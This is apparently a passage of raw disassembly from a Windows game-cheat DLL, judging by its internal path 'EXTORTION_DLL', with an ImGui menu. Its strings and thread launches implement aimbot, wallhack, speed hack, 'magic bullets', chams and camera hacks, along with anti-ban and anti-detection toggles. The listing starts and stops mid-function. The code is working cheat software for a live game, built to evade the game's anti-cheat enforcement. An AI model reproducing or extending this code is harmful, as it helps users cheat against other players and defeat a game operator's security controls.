lea rdx, str.Security
lea rcx, str.Aim_Hacks
call fcn.14003e390
mov eax, 3
mov dword [reloc.WS2_32.dll_accept], eax
jmp 0x140053eb3
mov eax, dword [reloc.WS2_32.dll_accept]
mov dword [rbp + 0x240], 0x43660000
mov dword [rbp + 0x244], 0x42480000
cmp eax, 4
sete cl
lea r9, [rbp + 0x240]
lea r8, [0x140161608]
lea rdx, [0x140161618]
call fcn.140034bf0
test al, al
je 0x140053f27
xor r8d, r8d
lea rdx, [0x14015191a]
lea rcx, [0x1401c5bb0]
call fcn.14003e390
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, str.Balas_and_Misc
lea rcx, str.Aim_Hacks
call fcn.14003e390
mov eax, 4
mov dword [reloc.WS2_32.dll_accept], eax
jmp 0x140053f2d
mov eax, dword [reloc.WS2_32.dll_accept]
mov dword [rbp + 0x248], 0x43660000
mov dword [rbp + 0x24c], 0x42480000
cmp eax, 5
sete cl
lea r9, [rbp + 0x248]
lea r8, str.Settings
lea rdx, [0x140152684]
call fcn.140034bf0
test al, al
je 0x140053f9a
xor r8d, r8d
lea rdx, [0x14015191a]
lea rcx, [0x1401c5bb0]
call fcn.14003e390
mov r8d, 8
lea rdx, str.Settings
lea rcx, str.Aim_Hacks
call fcn.14003e390
mov dword [reloc.WS2_32.dll_accept], esi
call fcn.140017b60
mov eax, dword [reloc.WS2_32.dll_accept]
cmp eax, dword [0x1401fc930]
jne 0x140053fb3
movaps xmm6, xmm8
jmp 0x140053fb7
movaps xmm6, xmm15
mov rsi, qword [0x1401c6ae0]
test rsi, rsi
jne 0x140053fea
mov r8d, 0x10ae
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov eax, dword [reloc.WS2_32.dll_accept]
mov rsi, qword [0x1401c6ae0]
movss xmm0, dword [rsi + 0x18]
mulss xmm0, dword [0x1401623d8]
mulss xmm0, xmm6
addss xmm0, dword [0x1401fd004]
comiss xmm14, xmm0
jbe 0x14005400f
movaps xmm6, xmm14
jmp 0x140054017
movaps xmm6, xmm8
minss xmm6, xmm0
movss dword [0x1401fd004], xmm6
ucomiss xmm6, xmm14
jp 0x14005403d
jne 0x14005403d
movss xmm0, dword [0x1401fd2a4]
ucomiss xmm0, xmm14
jp 0x14005403d
jne 0x14005403d
mov dword [0x1401fc930], eax
mulss xmm6, dword [r13 + 0x37c8]
lea rcx, [rsi + 0x4870]
movss xmm0, dword [rsi + 0x37c8]
mov dword [rbp + 0x4f0], r14d
movss dword [rbp + 0x4f4], xmm0
lea rdx, [rbp + 0x4f0]
call fcn.140020260
movss dword [rsi + 0x37c8], xmm6
movss xmm3, dword [r13 + 0x3818]
addss xmm3, xmm9
movss xmm2, dword [r13 + 0x3814]
addss xmm2, dword [0x14016248c]
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
movss xmm1, dword [rax + 0x20]
subss xmm1, dword [rax + 0x84]
addss xmm3, xmm0
addss xmm1, xmm2
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm3
mov byte [rax + 0x141], 1
mov eax, dword [0x1401fc930]
cmp eax, 1
jne 0x1400545aa
call fcn.140017a10
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
movss xmm12, dword [0x140162454]
addss xmm1, xmm12
addss xmm0, xmm7
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
movss xmm1, dword [r13 + 0x3818]
movss xmm13, dword [0x140162498]
addss xmm1, xmm13
movss xmm0, dword [r13 + 0x3814]
movss xmm11, dword [0x140162490]
addss xmm0, xmm11
movss dword [rbp + 0x250], xmm0
movss dword [rbp + 0x254], xmm1
lea r8, [rbp + 0x250]
lea rdx, str.Aimbots_Options
lea rcx, str.8000
call fcn.14000d160
mov r9b, 1
lea r8, [0x1401fd014]
lea rdx, [0x1401c6afc]
lea rcx, str.AIM_NECK
call fcn.140032190
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
movss xmm6, dword [0x1401624a8]
addss xmm0, xmm6
movss dword [rax + 0x104], xmm0
mov byte [rax + 0x141], 1
call fcn.14000d280
movaps xmm1, xmm15
movaps xmm0, xmm14
call fcn.1400177c0
mov rdx, qword [0x1401c6ae0]
mov rax, qword [rdx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rdx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, xmm12
movss xmm10, dword [0x1401624b0]
addss xmm0, xmm10
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
movss xmm1, dword [r13 + 0x3818]
addss xmm1, xmm13
movss xmm0, dword [r13 + 0x3814]
addss xmm0, xmm11
movss dword [rbp + 0x258], xmm0
movss dword [rbp + 0x25c], xmm1
lea r8, [rbp + 0x258]
lea rdx, str.Sniper_Options
lea rcx, [0x140161668]
call fcn.14000d160
lea rdx, [0x1401c6b2f]
lea rcx, str.AIM_AWM
call fcn.140036f00
test al, al
je 0x14005431a
cmp byte [0x1401c6b2f], 1
jne 0x14005431a
lea rdx, [0x14004eb40]
lea rcx, [rbp + 0x580]
call fcn.1400565d0
nop
mov rcx, rax
call fcn.14004a690
nop
cmp dword [rbp + 0x588], 0
jne 0x140055a32
lea rdx, [0x1401c6b08]
lea rcx, str.CAMBIO_RAPIDO
call fcn.140036f00
test al, al
je 0x1400543a4
cmp byte [0x1401c6b08], 1
jne 0x1400543a4
mov ecx, 8
call fcn.140121a44
lea rcx, [0x14004ec60]
mov qword [rax], rcx
mov qword [rbp + 0x748], rax
lea rcx, [rbp + 0x488]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x1400576e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x480], rax
test rax, rax
je 0x140055a40
lea rcx, [rbp + 0x480]
call fcn.14004a690
nop
cmp dword [rbp + 0x488], 0
jne 0x140055a39
lea rdx, [0x1401c6b0d]
lea rcx, str.DELAY_AWM
call fcn.140036f00
test al, al
je 0x1400543ee
cmp byte [0x1401c6b0d], 1
jne 0x1400543ee
lea rdx, [0x14004fb30]
lea rcx, [rbp + 0x590]
call fcn.1400565d0
nop
mov rcx, rax
call fcn.14004a690
nop
cmp dword [rbp + 0x598], 0
jne 0x140055a53
lea rdx, [0x1401c6af4]
lea rcx, str.TIRO_RAPIDO
call fcn.140036f00
test al, al
je 0x1400544a5
cmp byte [0x1401c6af4], 1
jne 0x1400544a5
mov ecx, 8
call fcn.140121a44
lea rcx, [0x14004ed80]
mov qword [rax], rcx
mov qword [rbp + 0x748], rax
lea rcx, [rbp + 0xf8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x1400576e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0xf0], rax
test rax, rax
je 0x140055a64
cmp dword [rbp + 0xf8], 0
je 0x140055a5a
movaps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140055a5a
xorps xmm0, xmm0
movaps xmmword [rbp + 0xf0], xmm0
movdqa xmmword [rbp + 0xf0], xmm0
lea rdx, [0x1401c6af5]
lea rcx, str.SCOPE_AWM
call fcn.140036f00
test al, al
je 0x14005455c
cmp byte [0x1401c6af5], 1
jne 0x14005455c
mov ecx, 8
call fcn.140121a44
lea rcx, [0x14004fa10]
mov qword [rax], rcx
mov qword [rbp + 0x748], rax
lea rcx, [rbp + 0x108]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x1400576e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x100], rax
test rax, rax
je 0x140055a81
cmp dword [rbp + 0x108], 0
je 0x140055a77
movaps xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140055a77
xorps xmm0, xmm0
movaps xmmword [rbp + 0x100], xmm0
movdqa xmmword [rbp + 0x100], xmm0
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
addss xmm0, xmm6
movss dword [rax + 0x104], xmm0
mov byte [rax + 0x141], 1
call fcn.14000d280
call fcn.140017b60
mov eax, dword [0x1401fc930]
jmp 0x1400545d6
movss xmm11, dword [0x140162490]
movss xmm12, dword [0x140162454]
movss xmm13, dword [0x140162498]
movss xmm6, dword [0x1401624a8]
movss xmm10, dword [0x1401624b0]
cmp eax, 2
jne 0x140054cd9
call fcn.140017a10
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, xmm12
addss xmm0, xmm7
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
movss xmm1, dword [r13 + 0x3818]
addss xmm1, xmm13
movss xmm0, dword [r13 + 0x3814]
addss xmm0, xmm11
movss dword [rbp + 0x2e8], xmm0
movss dword [rbp + 0x2ec], xmm1
lea r8, [rbp + 0x2e8]
lea rdx, str.Visuales_Options
lea rcx, [0x140161668]
call fcn.14000d160
lea rdx, [0x1401c6b0f]
lea rcx, str.NPC_NAME
call fcn.140036f00
test al, al
je 0x140054737
cmp byte [0x1401c6b0f], 1
jne 0x140054737
mov ecx, 8
call fcn.140121a44
lea rcx, [0x14004ea20]
mov qword [rax], rcx
mov qword [rbp + 0x748], rax
lea rcx, [rbp + 0x118]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x1400576e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x110], rax
test rax, rax
je 0x140055a9e
cmp dword [rbp + 0x118], 0
je 0x140055a94
movaps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140055a94
xorps xmm0, xmm0
movaps xmmword [rbp + 0x110], xmm0
movdqa xmmword [rbp + 0x110], xmm0
lea rdx, [0x1401c6afa]
lea rcx, str.CAMARA_HACK
call fcn.140036f00
test al, al
je 0x1400547ee
cmp byte [0x1401c6afa], 1
jne 0x1400547ee
mov ecx, 8
call fcn.140121a44
lea rcx, [0x14004e280]
mov qword [rax], rcx
mov qword [rbp + 0x748], rax
lea rcx, [rbp + 0x128]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x1400576e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x120], rax
test rax, rax
je 0x140055abb
cmp dword [rbp + 0x128], 0
je 0x140055ab1
movaps xmm0, xmmword [rbp + 0x120]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140055ab1
xorps xmm0, xmm0
movaps xmmword [rbp + 0x120], xmm0
movdqa xmmword [rbp + 0x120], xmm0
lea rdx, [0x1401c6afb]
lea rcx, str.VISION_HACK
call fcn.140036f00
test al, al
je 0x1400548a5
cmp byte [0x1401c6afb], 1
jne 0x1400548a5
mov ecx, 8
call fcn.140121a44
lea rcx, [0x14004e670]
mov qword [rax], rcx
mov qword [rbp + 0x748], rax
lea rcx, [rbp + 0x138]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x1400576e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x130], rax
test rax, rax
je 0x140055ad8
cmp dword [rbp + 0x138], 0
je 0x140055ace
movaps xmm0, xmmword [rbp + 0x130]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140055ace
xorps xmm0, xmm0
movaps xmmword [rbp + 0x130], xmm0
movdqa xmmword [rbp + 0x130], xmm0
lea rdx, [0x1401c6b0b]
lea rcx, str.BUG_CAMARA
call fcn.140036f00
test al, al
je 0x1400548ef
cmp byte [0x1401c6b0b], 1
jne 0x1400548ef
lea rdx, [0x14004e470]
lea rcx, [rbp + 0x5a8]
call fcn.1400565d0
nop
mov rcx, rax
call fcn.14004a690
nop
cmp dword [rbp + 0x5b0], 0
jne 0x140055aeb
lea rdx, [0x1401c6b00]
lea rcx, str.NODO_NOCHE
call fcn.140036f00
test al, al
je 0x140054939
cmp byte [0x1401c6b00], 1
jne 0x140054939
lea rdx, [0x14004fcf0]
lea rcx, [rbp + 0x5b8]
call fcn.1400565d0
nop
mov rcx, rax
call fcn.14004a690
nop
cmp dword [rbp + 0x5c0], 0
jne 0x140055af2
lea rdx, [0x1401c6b01]
lea rcx, str.ALL_RED
call fcn.140036f00
test al, al
je 0x140054983
cmp byte [0x1401c6b01], 1
jne 0x140054983
lea rdx, [0x14004e850]
lea rcx, [rbp + 0x5c8]
call fcn.1400565d0
nop
mov rcx, rax
call fcn.14004a690
nop
cmp dword [rbp + 0x5d0], 0
jne 0x140055af9
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
addss xmm0, xmm6
movss dword [rax + 0x104], xmm0
mov byte [rax + 0x141], 1
call fcn.14000d280
movaps xmm1, xmm15
movaps xmm0, xmm14
call fcn.1400177c0
mov rdx, qword [0x1401c6ae0]
mov rax, qword [rdx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rdx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, xmm12
addss xmm0, xmm10
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
movss xmm1, dword [r13 + 0x3818]
addss xmm1, xmm13
movss xmm0, dword [r13 + 0x3814]
addss xmm0, xmm11
movss dword [rbp + 0x260], xmm0
movss dword [rbp + 0x264], xmm1
lea r8, [rbp + 0x260]
lea rdx, str.Chams_Options
lea rcx, [0x140161668]
call fcn.14000d160
lea rdx, [0x1401c6b03]
lea rcx, str.MENU_CHAMS
call fcn.140036f00
test al, al
je 0x140054b25
cmp byte [0x1401c6b03], 1
jne 0x140054b25
mov ecx, 8
call fcn.140121a44
lea rcx, [0x14004fee0]
mov qword [rax], rcx
mov qword [rbp + 0x748], rax
lea rcx, [rbp + 0x148]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x1400576e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x140], rax
test rax, rax
je 0x140055b0a
cmp dword [rbp + 0x148], 0
je 0x140055b00
movaps xmm0, xmmword [rbp + 0x140]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140055b00
xorps xmm0, xmm0
movaps xmmword [rbp + 0x140], xmm0
movdqa xmmword [rbp + 0x140], xmm0
lea rdx, [0x1401c6b02]
lea rcx, str.CHAMS_BLANCAS
call fcn.140036f00
test al, al
je 0x140054baf
cmp byte [0x1401c6b02], 1
jne 0x140054baf
mov ecx, 8
call fcn.140121a44
lea rcx, [0x1400501c0]
mov qword [rax], rcx
mov qword [rbp + 0x748], rax
lea rcx, [rbp + 0x498]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x1400576e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x490], rax
test rax, rax
je 0x140055b24
lea rcx, [rbp + 0x490]
call fcn.14004a690
nop
cmp dword [rbp + 0x498], 0
jne 0x140055b1d
lea rdx, [0x1401c6b0e]
lea rcx, str.CHAMS_AMARILLAS
call fcn.140036f00
test al, al
je 0x140054bf9
cmp byte [0x1401c6b0e], 1
jne 0x140054bf9
lea rdx, [0x140050330]
lea rcx, [rbp + 0x5d8]
call fcn.1400565d0
nop
mov rcx, rax
call fcn.14004a690
nop
cmp dword [rbp + 0x5e0], 0
jne 0x140055b37
lea rdx, [0x1401c6b0a]
lea rcx, str.CHAMS_BOX
call fcn.140036f00
test al, al
je 0x140054c43
cmp byte [0x1401c6b0a], 1
jne 0x140054c43
lea rdx, [0x1400504a0]
lea rcx, [rbp + 0x5e8]
call fcn.1400565d0
nop
mov rcx, rax
call fcn.14004a690
nop
cmp dword [rbp + 0x5f0], 0
jne 0x140055b3e
lea rdx, [0x1401c6af6]
lea rcx, str.PERSONAJE_RBG
call fcn.140036f00
test al, al
je 0x140054c8d
cmp byte [0x1401c6af6], 1
jne 0x140054c8d
lea rdx, [0x140050050]
lea rcx, [rbp + 0x5f8]
call fcn.1400565d0
nop
mov rcx, rax
call fcn.14004a690
nop
cmp dword [rbp + 0x600], 0
jne 0x140055b45
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
addss xmm0, xmm6
movss dword [rax + 0x104], xmm0
mov byte [rax + 0x141], 1
call fcn.14000d280
call fcn.140017b60
mov eax, dword [0x1401fc930]
cmp eax, 3
jne 0x140054f88
call fcn.140017a10
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, xmm12
addss xmm0, xmm7
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
movss xmm1, dword [r13 + 0x3818]
addss xmm1, xmm13
movss xmm0, dword [r13 + 0x3814]
addss xmm0, xmm11
movss dword [rbp + 0x268], xmm0
movss dword [rbp + 0x26c], xmm1
lea r8, [rbp + 0x268]
lea rdx, str.Variable_Securities
lea rcx, [0x140161668]
call fcn.14000d160
lea rdx, [0x1401c6b2e]
lea rcx, str.SEGURIDAD_WALLHACK
call fcn.140036f00
test al, al
je 0x140054dcd
cmp byte [0x1401c6b2e], 1
jne 0x140054dcd
lea rdx, [0x14004f4e0]
lea rcx, [rbp + 0x608]
call fcn.1400565d0
nop
mov rcx, rax
call fcn.14004a690
nop
cmp dword [rbp + 0x610], 0
jne 0x140055b4c
lea rdx, [0x1401c6adb]
lea rcx, str.SEGURIDAD_CAMARA
call fcn.140036f00
test al, al
je 0x140054e17
cmp byte [0x1401c6adb], 1
jne 0x140054e17
lea rdx, [0x14004f320]
lea rcx, [rbp + 0x618]
call fcn.1400565d0
nop
mov rcx, rax
call fcn.14004a690
nop
cmp dword [rbp + 0x620], 0
jne 0x140055b53
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
addss xmm0, xmm6
movss dword [rax + 0x104], xmm0
mov byte [rax + 0x141], 1
call fcn.14000d280
movaps xmm1, xmm15
movaps xmm0, xmm14
call fcn.1400177c0
mov rdx, qword [0x1401c6ae0]
mov rax, qword [rdx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rdx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, xmm12
addss xmm0, xmm10
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
movss xmm1, dword [r13 + 0x3818]
addss xmm1, xmm13
movss xmm0, dword [r13 + 0x3814]
addss xmm0, xmm11
movss dword [rbp + 0x270], xmm0
movss dword [rbp + 0x274], xmm1
lea r8, [rbp + 0x270]
lea rdx, str.Keybind
lea rcx, [0x140161668]
call fcn.14000d160
mov r9b, 1
lea r8, [0x1401fd000]
lea rdx, [0x1401c6b04]
lea rcx, str.WALL_HACK
call fcn.140032190
mov r9b, 1
lea r8, [0x1401fd000]
lea rdx, [0x1401c6b28]
lea rcx, str.SPEED_HACK
call fcn.140032190
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
addss xmm0, xmm6
movss dword [rax + 0x104], xmm0
mov byte [rax + 0x141], 1
call fcn.14000d280
call fcn.140017b60
mov eax, dword [0x1401fc930]
cmp eax, 4
jne 0x1400552d7
call fcn.140017a10
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, xmm12
addss xmm0, xmm7
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
movss xmm1, dword [r13 + 0x3818]
addss xmm1, xmm13
movss xmm0, dword [r13 + 0x3814]
addss xmm0, xmm11
movss dword [rbp + 0x278], xmm0
movss dword [rbp + 0x27c], xmm1
lea r8, [rbp + 0x278]
lea rdx, str.Clasicas
lea rcx, [0x140161668]
call fcn.14000d160
lea rdx, [0x1401c6ada]
lea rcx, str.BALAS_MAGICAS_V1
call fcn.140036f00
test al, al
je 0x1400550e9
cmp byte [0x1401c6ada], 1
jne 0x1400550e9
mov ecx, 8
call fcn.140121a44
lea rcx, [0x14004f730]
mov qword [rax], rcx
mov qword [rbp + 0x748], rax
lea rcx, [rbp + 0xb8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x1400576e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0xb0], rax
test rax, rax
je 0x140055b64
cmp dword [rbp + 0xb8], 0
je 0x140055b5a
movaps xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140055b5a
xorps xmm0, xmm0
movaps xmmword [rbp + 0xb0], xmm0
movdqa xmmword [rbp + 0xb0], xmm0
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
addss xmm0, xmm6
movss dword [rax + 0x104], xmm0
mov byte [rax + 0x141], 1
call fcn.14000d280
movaps xmm1, xmm15
movaps xmm0, xmm14
call fcn.1400177c0
mov rdx, qword [0x1401c6ae0]
mov rax, qword [rdx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rdx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, xmm12
addss xmm0, xmm10
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
movss xmm1, dword [r13 + 0x3818]
addss xmm1, xmm13
movss xmm0, dword [r13 + 0x3814]
addss xmm0, xmm11
movss dword [rbp + 0x280], xmm0
movss dword [rbp + 0x284], xmm1
lea r8, [rbp + 0x280]
lea rdx, str.Agresivas
lea rcx, [0x140161668]
call fcn.14000d160
lea rdx, [0x1401c6af7]
lea rcx, str.BALAS_MAGICAS_V2
call fcn.140036f00
test al, al
je 0x14005528b
cmp byte [0x1401c6af7], 1
jne 0x14005528b
mov ecx, 8
call fcn.140121a44
lea rcx, [0x14004f200]
mov qword [rax], rcx
mov qword [rbp + 0x748], rax
lea rcx, [rbp + 0x158]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x1400576e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x150], rax
test rax, rax
je 0x140055b81
cmp dword [rbp + 0x158], 0
je 0x140055b77
movaps xmm0, xmmword [rbp + 0x150]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140055b77
xorps xmm0, xmm0
movaps xmmword [rbp + 0x150], xmm0
movdqa xmmword [rbp + 0x150], xmm0
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
addss xmm0, xmm6
movss dword [rax + 0x104], xmm0
mov byte [rax + 0x141], 1
call fcn.14000d280
call fcn.140017b60
mov eax, dword [0x1401fc930]
cmp eax, 5
jne 0x14005571a
call fcn.140017a10
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, xmm12
addss xmm0, xmm7
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
movss xmm1, dword [r13 + 0x3818]
addss xmm1, xmm13
movss xmm0, dword [r13 + 0x3814]
addss xmm0, xmm11
movss dword [rbp + 0x288], xmm0
movss dword [rbp + 0x28c], xmm1
lea r8, [rbp + 0x288]
lea rdx, str.SEGURITY
lea rcx, [0x140161668]
call fcn.14000d160
lea rdx, [0x1401c6b2c]
lea rcx, str.ANTIGARENA_V2
call fcn.140036f00
test al, al
je 0x14005540b
cmp byte [0x1401c6b2c], 1
jne 0x14005540b
mov ecx, 8
call fcn.140121a44
lea rcx, [0x14004f0e0]
mov qword [rax], rcx
mov qword [rbp + 0x748], rax
lea rcx, [rbp + 0xd8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x1400576e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0xd0], rax
test rax, rax
je 0x140055b9b
lea rcx, [rbp + 0xd0]
call fcn.14004a690
nop
cmp dword [rbp + 0xd8], 0
jne 0x140055b94
lea rdx, [0x1401c6b2d]
lea rcx, str.ANTIBLACK_V2
call fcn.140036f00
test al, al
je 0x140055455
cmp byte [0x1401c6b2d], 1
jne 0x140055455
lea rdx, [0x14004efc0]
lea rcx, [rbp + 0x628]
call fcn.1400565d0
nop
mov rcx, rax
call fcn.14004a690
nop
cmp dword [rbp + 0x630], 0
jne 0x140055bae
lea rdx, [0x1401c6af8]
lea rcx, str.ANTIBAN_V2
call fcn.140036f00
test al, al
je 0x14005549f
cmp byte [0x1401c6af8], 1
jne 0x14005549f
lea rdx, [0x14004eea0]
lea rcx, [rbp + 0x638]
call fcn.1400565d0
nop
mov rcx, rax
call fcn.14004a690
nop
cmp dword [rbp + 0x640], 0
jne 0x140055bb5
call fcn.14000d280
movaps xmm1, xmm15
